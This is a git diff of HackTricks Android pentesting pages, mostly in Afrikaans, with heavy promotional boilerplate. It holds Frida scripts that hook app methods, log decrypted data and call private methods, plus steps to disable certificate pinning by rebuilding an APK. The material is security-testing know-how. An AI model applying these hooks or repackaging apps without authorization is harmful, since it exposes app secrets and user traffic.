@ -266,68 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
# Frida Tutorial: Hook android `.onCreate()`
|
||||
|
||||
In hierdie tutoriaal sal ons leer hoe om die `.onCreate()`-metode in 'n Android-toepassing te hook met behulp van Frida. Hierdie metode word aangeroep wanneer 'n aktiwiteit in die toepassing geskep word.
|
||||
|
||||
## Vereistes
|
||||
|
||||
Om hierdie tutoriaal te volg, moet jy die volgende hê:
|
||||
|
||||
- 'n Android-toestel of 'n virtuele masjien met 'n geïnstalleerde Android-emulator.
|
||||
- Die Frida-framework geïnstalleer op jou toestel of emulator.
|
||||
|
||||
## Stap 1: Verbind met die toestel
|
||||
|
||||
Verbind met jou toestel of emulator deur die volgende opdrag in die opdraglyn uit te voer:
|
||||
|
||||
```bash
|
||||
frida-ps -U
|
||||
```
|
||||
|
||||
Hierdie opdrag sal 'n lys van aktiewe prosesse op die toestel vertoon.
|
||||
|
||||
## Stap 2: Kies die toepassing
|
||||
|
||||
Kies die toepassing waarin jy die `.onCreate()`-metode wil hook deur die volgende opdrag uit te voer:
|
||||
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
```
|
||||
|
||||
Hierdie opdrag sal 'n lys van alle toepassings op die toestel vertoon, saam met hul proses-ID's.
|
||||
|
||||
## Stap 3: Skryf die hook-skripsie
|
||||
|
||||
Skep 'n nuwe tekslêer en skryf die volgende skripsie:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var Activity = Java.use('android.app.Activity');
|
||||
Activity.onCreate.implementation = function(savedInstanceState) {
|
||||
console.log('onCreate() is gehook!');
|
||||
this.onCreate(savedInstanceState);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
Hierdie skripsie gebruik die `Java.perform()`-funksie om toegang tot die Java-omgewing te verkry. Dit gebruik dan die `Java.use()`-funksie om die `Activity`-klas te kry en die `.onCreate()`-metode te hook. Die gehookte metode skryf eenvoudig 'onCreate() is gehook!' na die konsole en roep dan die oorspronklike metode aan.
|
||||
|
||||
## Stap 4: Voer die skripsie uit
|
||||
|
||||
Voer die volgende opdrag in die opdraglyn uit om die skripsie uit te voer:
|
||||
|
||||
```bash
|
||||
frida -U -l <pad_na_skripsie> -f <pakket_naam>
|
||||
```
|
||||
|
||||
Vervang `<pad_na_skripsie>` met die pad na die skripsie-lêer wat jy in stap 3 geskep het, en `<pakket_naam>` met die naam van die toepassing wat jy in stap 2 gekies het.
|
||||
|
||||
## Stap 5: Toets die hook
|
||||
|
||||
Voer die toepassing uit op jou toestel of emulator en kyk na die konsole-uitset. As alles korrek gehook is, moet jy die boodskap 'onCreate() is gehook!' sien.
|
||||
|
||||
Dit is hoe jy die `.onCreate()`-metode in 'n Android-toepassing kan hook met behulp van Frida. Hierdie tegniek kan gebruik word om die uitvoering van die metode te monitor of te verander vir pentesting-doeleindes.
|
||||
Hook android `.onCreate()`
|
||||
```javascript
|
||||
var activity = Java.use("android.app.Activity");
|
||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||
|
@ -335,30 +133,9 @@ send("Activity HIT!!!");
|
|||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
### Haak funksies met parameters en haal die waarde terug
|
||||
### Funksies met parameters haak en die waarde terugkry
|
||||
|
||||
Haak 'n dekripsie-funksie. Druk die inset uit, roep die oorspronklike funksie aan om die inset te dekripteer en druk uiteindelik die ongekripteerde data af:
|
||||
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var className = "com.example.app.Encryption";
|
||||
var decryptFunction = "decrypt";
|
||||
|
||||
var Encryption = Java.use(className);
|
||||
|
||||
Encryption[decryptFunction].overload('java.lang.String').implementation = function(input) {
|
||||
console.log("Input: " + input);
|
||||
|
||||
var result = this[decryptFunction](input);
|
||||
|
||||
console.log("Plain data: " + result);
|
||||
|
||||
return result;
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
Hierdie kode haak die `decrypt`-funksie in die `com.example.app.Encryption`-klas. Dit druk die insetwaarde af, roep die oorspronklike `decrypt`-funksie aan om die inset te dekripteer en druk die ongekripteerde data af.
|
||||
Haal 'n ontsleuteling funksie aan. Druk die invoer, roep die oorspronklike funksie aan om die invoer te ontsleutel en druk uiteindelik die gewone data:
|
||||
```javascript
|
||||
function getString(data){
|
||||
var ret = "";
|
||||
|
@ -383,9 +160,9 @@ send("Decrypted flag: " + flag);
|
|||
return ret; //[B
|
||||
};
|
||||
```
|
||||
### Hooking funksies en om hulle te roep met ons insette
|
||||
### Funksies haak en roep hulle aan met ons invoer
|
||||
|
||||
Haak 'n funksie wat 'n string ontvang en roep dit met 'n ander string (van [hier](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
Haak 'n funksie wat 'n string ontvang en roep dit aan met 'n ander string (van [hier](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||
|
||||
|
@ -397,11 +174,11 @@ console.log("Return value: "+ret);
|
|||
return ret;
|
||||
};
|
||||
```
|
||||
### Kry 'n reeds geskep objek van 'n klas
|
||||
### Verkryging van 'n reeds geskepte objek van 'n klas
|
||||
|
||||
As jy 'n eienskap van 'n geskep objek wil onttrek, kan jy dit gebruik.
|
||||
As jy 'n attribuut van 'n geskepte objek wil onttrek, kan jy dit gebruik.
|
||||
|
||||
In hierdie voorbeeld sal jy sien hoe om die objek van die klas my\_activity te kry en hoe om die funksie .secret() aan te roep wat 'n private eienskap van die objek sal druk:
|
||||
In hierdie voorbeeld gaan jy sien hoe om die objek van die klas my\_activity te verkry en hoe om die funksie .secret() aan te roep wat 'n private attribuut van die objek sal druk:
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity" , {
|
||||
onMatch : function(instance){ //This function will be called for every instance found by frida
|
||||
|
@ -411,29 +188,30 @@ console.log("Result of secret func: " + instance.secret());
|
|||
onComplete:function(){}
|
||||
});
|
||||
```
|
||||
## Ander Frida-tutoriale
|
||||
## Ander Frida tutoriaal
|
||||
|
||||
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
* [Deel 1 van die Gevorderde Frida Gebruik blogreeks: IOS Versleutelingsbiblioteke](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
* [Deel 1 van die Gevorderde Frida Gebruik blog reeks: IOS Enkripsie Biblioteke](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), en begin om belonings tot **$100,000** te verdien!
|
||||
**Bug bounty wenk**: **meld aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin om bounties tot **$100,000** te verdien!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,33 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Neem 'n kykie na: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Kyk na: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Probeer Hard Security Group**
|
||||
**Probeer Hard Sekuriteitsgroep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -20,31 +21,31 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
***
|
||||
|
||||
Sommige toepassings hou nie van sertifikate wat deur gebruikers afgelaai is nie, dus om webverkeer vir sommige programme te ondersoek, moet ons eintlik die toepassing dekompilieer en 'n paar dinge byvoeg en dit weer kompileer.
|
||||
Sommige toepassings hou nie van gebruikers afgelaaide sertifikate nie, so om webverkeer vir sommige apps te inspekteer, moet ons eintlik die toepassing dekompileer & 'n paar dinge byvoeg & dit weer compileer.
|
||||
|
||||
# Outomaties
|
||||
|
||||
Die instrument [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal die nodige veranderinge aan die aansoek **outomaties** maak om die versoek vas te vang en sal ook sertifikaatpinning deaktiveer (indien enige).
|
||||
Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing maak om die versoeke te begin vasvang en sal ook sertifikaat pinning deaktiveer (indien enige).
|
||||
|
||||
# Handleiding
|
||||
# Handmatig
|
||||
|
||||
Eerstens dekompilieer ons die app: `apktool d *lêer-naam*.apk`
|
||||
Eerstens dekompileer ons die app: `apktool d *file-name*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Gaan dan na die **Manifest.xml**-lêer & skrol af na die `<\application android>`-tag & ons gaan die volgende lyn byvoeg as dit nie reeds daar is nie:
|
||||
Dan gaan ons in die **Manifest.xml** lêer & blaai af na die `<\application android>` etiket & ons gaan die volgende lyn byvoeg as dit nie reeds daar is nie:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
Voor byvoeging:
|
||||
Voor toevoeging:
|
||||
|
||||
![](../../.gitbook/assets/img10.png)
|
||||
|
||||
Na byvoeging:
|
||||
Na toevoeging:
|
||||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
Gaan nou na die **res/xml**-vouer & skep/wysig 'n lêer genaamd network\_security\_config.xml met die volgende inhoud:
|
||||
Gaan nou in die **res/xml** vouer & skep/wysig 'n lêer genaamd network\_security\_config.xml met die volgende inhoud:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -57,11 +58,11 @@ Gaan nou na die **res/xml**-vouer & skep/wysig 'n lêer genaamd network\_securit
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
### Dan stoor die lêer & tree uit al die gide en bou die apk weer op met die volgende bevel: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
Then save the file & back out of all the directories & rebuild the apk with the following command: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Laastens, moet jy net die **nuwe aansoek onderteken**. [Lees hierdie afdeling van die bladsy Smali - Decompiling/\[Modifying\]/Compiling om te leer hoe om dit te onderteken](smali-changes.md#sing-the-new-apk).
|
||||
Finally, you need just to **sign the new application**. [Lees hierdie afdeling van die bladsy Smali - Decompiling/\[Modifying\]/Compiling om te leer hoe om dit te teken](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -71,14 +72,14 @@ Laastens, moet jy net die **nuwe aansoek onderteken**. [Lees hierdie afdeling va
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,64 +1,50 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Handleiding **De-obfuscation-tegnieke**
|
||||
## Handmatige **De-obfuscation Tegnieke**
|
||||
|
||||
In die domein van **sagteware-sekuriteit** is die proses om versluierde kode verstaanbaar te maak, bekend as **de-obfuscation**, van kritieke belang. Hierdie gids ondersoek verskeie strategieë vir de-obfuscation, met die klem op statiese analise-tegnieke en die herkenning van versluieringspatrone. Daarbenewens bied dit 'n oefening vir praktiese toepassing en stel dit verdere hulpbronne voor vir diegene wat belangstel om meer gevorderde onderwerpe te verken.
|
||||
In die wêreld van **sagteware sekuriteit**, is die proses om obscured kode verstaanbaar te maak, bekend as **de-obfuscation**, van kardinale belang. Hierdie gids ondersoek verskeie strategieë vir de-obfuscation, met fokus op statiese analise tegnieke en die herkenning van obfuscation patrone. Daarbenewens stel dit 'n oefening voor vir praktiese toepassing en stel verdere hulpbronne voor vir diegene wat belangstel om meer gevorderde onderwerpe te verken.
|
||||
|
||||
### **Strategieë vir Statische De-obfuscation**
|
||||
### **Strategieë vir Statiese De-obfuscation**
|
||||
|
||||
Wanneer dit kom by **versluierde kode**, kan verskeie strategieë gebruik word, afhangende van die aard van die versluiering:
|
||||
Wanneer daar met **obfuscated kode** gewerk word, kan verskeie strategieë toegepas word, afhangende van die aard van die obfuscation:
|
||||
|
||||
- **DEX-bytekode (Java)**: Een effektiewe benadering behels die identifisering van die toepassing se de-obfuscation-metodes, gevolg deur die replicering van hierdie metodes in 'n Java-lêer. Hierdie lêer word uitgevoer om die versluiering op die geteikende elemente om te keer.
|
||||
- **Java en Inheemse Kode**: 'n Ander metode is om die de-obfuscation-algoritme te vertaal na 'n skripsietaal soos Python. Hierdie strategie beklemtoon dat die primêre doel nie is om die algoritme ten volle te verstaan nie, maar om dit doeltreffend uit te voer.
|
||||
- **DEX bytecode (Java)**: Een effektiewe benadering behels die identifisering van die aansoek se de-obfuscation metodes, en dan die replisering van hierdie metodes in 'n Java-lêer. Hierdie lêer word uitgevoer om die obfuscation op die geteikende elemente om te keer.
|
||||
- **Java en Native Code**: 'n Ander metode is om die de-obfuscation algoritme in 'n skriptaal soos Python te vertaal. Hierdie strategie beklemtoon dat die primêre doel nie is om die algoritme ten volle te verstaan nie, maar om dit effektief uit te voer.
|
||||
|
||||
### **Identifisering van Versluiering**
|
||||
### **Identifisering van Obfuscation**
|
||||
|
||||
Die herkenning van versluierde kode is die eerste stap in die de-obfuscation-proses. Sleutelindikators sluit in:
|
||||
Die herkenning van obfuscated kode is die eerste stap in die de-obfuscation proses. Sleutel aanwysers sluit in:
|
||||
|
||||
- Die **afwesigheid of vermenging van strings** in Java en Android, wat moontlik dui op string-versluiering.
|
||||
- Die **teenwoordigheid van binêre lêers** in die bates-gids of oproepe na `DexClassLoader`, wat dui op kode-ontpakkings en dinamiese laai.
|
||||
- Die gebruik van **inheemse biblioteke saam met onidentifiseerbare JNI-funksies**, wat moontlike versluiering van inheemse metodes aandui.
|
||||
- Die **afwesigheid of vermenging van strings** in Java en Android, wat kan dui op string obfuscation.
|
||||
- Die **teenwoordigheid van binêre lêers** in die batesgids of oproepe na `DexClassLoader`, wat dui op kode unpacking en dinamiese laai.
|
||||
- Die gebruik van **native biblioteke saam met onidentifiseerbare JNI funksies**, wat moontlike obfuscation van native metodes aandui.
|
||||
|
||||
## **Dinamiese Analise in De-obfuscation**
|
||||
|
||||
Deur die kode in 'n beheerde omgewing uit te voer, maak dinamiese analise dit moontlik om die gedrag van die versluierde kode in werklike tyd waar te neem. Hierdie metode is veral doeltreffend om die innerlike werking van komplekse versluieringspatrone bloot te lê wat ontwerp is om die ware bedoeling van die kode te verberg.
|
||||
Deur die kode in 'n beheerde omgewing uit te voer, **laat dinamiese analise die waarneming van hoe die obfuscated kode in werklike tyd optree** toe. Hierdie metode is veral effektief om die innerlike werking van komplekse obfuscation patrone wat ontwerp is om die werklike bedoeling van die kode te verberg, te onthul.
|
||||
|
||||
### **Toepassings van Dinamiese Analise**
|
||||
|
||||
- **Tydontsleuteling**: Baie versluieringstegnieke behels die versleuteling van strings of kode-segmente wat slegs tydens uitvoering ontsluit word. Deur dinamiese analise kan hierdie versleutelde elemente vasgevang word op die oomblik van ontsluiting, wat hul ware vorm onthul.
|
